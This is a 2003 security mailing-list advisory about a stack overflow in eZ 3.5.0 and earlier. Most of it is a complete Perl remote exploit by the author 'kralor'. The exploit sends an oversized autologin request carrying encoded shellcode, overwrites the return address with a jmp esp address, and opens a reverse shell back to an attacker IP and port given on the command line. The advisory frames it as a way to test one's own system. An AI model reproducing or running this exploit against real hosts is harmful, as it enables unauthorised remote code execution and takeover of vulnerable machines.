[EXPL] eZ Package Stack Overflow Vulnerability

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To: list@securiteam.com
Date: 18 Dec 2003 10:44:09 +0200

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  eZ Package Stack Overflow Vulnerability
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article
<http://www.securiteam.com/windowsntfocus/6K0032A95O.html> eZ Multiple
Packages Stack Overflow Vulnerability, a vulnerability in the product
allows remote attackers to cause the product to execute arbitrary code.
The following exploit code can be used to test your system for the
mentioned vulnerability.

DETAILS

Vulnerable systems:
 * eZ version 3.5.0 and prior

Immune systems:
 * eZ version 3.6.0

Exploit:
#!/usr/bin/perl -w
######################C###O###R###O###M###P###U###T###E###R#########
[Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
#-------------------------------------------------------------------------------#
# versions tested & not vulnerables: v3.0 v3.1 v3.2 #
# versions tested & vulnerables: v3.3 v3.4 v3.5 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to
v3.5 #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to
#
# finally reach the shellcode. The shellcode gives a reverse remote shell.
#
# Universal shellcode coded by kralor with the PEB technic. #
######W###W###W###.###C###O###R###O###M###P###U###T###E###R###.###use
IO::Socket;

  print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor
[Crpt]\r\n";
  print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";

if(@ARGV<3||@ARGV>3) {
  print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
  exit;
  }

  print "[+] Connecting to ".$ARGV[0]."\t...";

  my $sock = IO::Socket::INET->new(Proto=>'tcp',
                               PeerAddr=>$ARGV[0],
                               PeerPort=>"80");
if(!$sock) {
  print "Error\r\n";
  exit;
  }

  print "Done\r\n";

# 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
# 0xffffedffe9 jmp back ( $ - 4'608)

$eip = "\x2B\xC7\x04\x10";
$jmp_back = "\xE9\xFF\xED\xFF\xFF";
# universal reverse remote shell using PEB, coded by kralor.
$shellc0deI =
"\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
      "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
      "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
      "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
      "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
      "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
      "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
      "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
      "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
      "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
      "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
      "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
      "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
      "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
      "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
      "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
      "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
      "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
      "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
$shellc0deII = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
      "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
      "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
      "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
      "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
      "\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
      "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
      "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
      "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
      "\x45\x95";
my $tip = inet_aton($ARGV[1]);
my $paddr = sockaddr_in($ARGV[2], $tip);

$paddr=substr($paddr,2,6);
$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
my $rport=substr($paddr,0,2);
my $rip=substr($paddr,2,4);

$request = "GET /SwEzModule.dll?operation=login&autologin=".
      "\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
      "\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";

  print $sock $request;
  print "[+] Sending evil request\t...";
  close($sock);
  print "Done\r\n";
exit;

ADDITIONAL INFORMATION

The information has been provided by <mailto:kralor@coromputer.net> Iván
Rodriguez Almuiña.

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